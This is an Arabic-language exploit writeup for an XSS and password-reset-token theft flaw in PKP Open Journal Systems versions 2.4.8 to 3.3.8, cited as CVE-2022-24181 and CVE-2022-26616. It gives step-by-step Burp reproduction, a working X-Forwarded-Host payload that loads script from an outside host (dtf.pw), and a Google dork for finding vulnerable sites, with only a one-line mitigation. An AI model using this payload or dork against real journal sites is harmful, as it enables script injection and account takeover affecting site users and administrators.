CVE-2022-24181 و CVE-2022-26616. كلاهما ربما متطابقان

ثغرة في Open-journal-system

XSS عبر حقن رأس المضيف وسرقة رمز إعادة تعيين كلمة المرور لمستخدم آخر خطوات إعادة الإنتاج:

1. اذهب إلى هذا الموقع: https://who's-using-ojs-software.com
2. وقم بالتقاط هذا الطلب في Burp، وأرسله إلى Repeater.
3. أضف هذا بعد رأس المضيف: X-Forwarded-Host: foo"><script src=//dtf.pw/2.js><x=".com
4. ثم انقر على إرسال، بعد ذلك انقر بزر الماوس الأيمن على الطلب وانقر على عرض الرد في المتصفح، ثم انسخ الطلب.
5. الصق هذا الطلب في المتصفح، وسترى نافذة XSS منبثقة. التخفيف: التحديث إلى إصدار أحدث.

Google Dork للعثور على هذه الثغرة intitle:ojs هذه الثغرة في برنامج PKP التابع للبائع Open-journal-system من الإصدار 2.4.8 إلى 3.3.8 جميعها عرضة لـ XSS عبر حقن رأس المضيف وثغرة سرقة رمز إعادة تعيين كلمة المرور.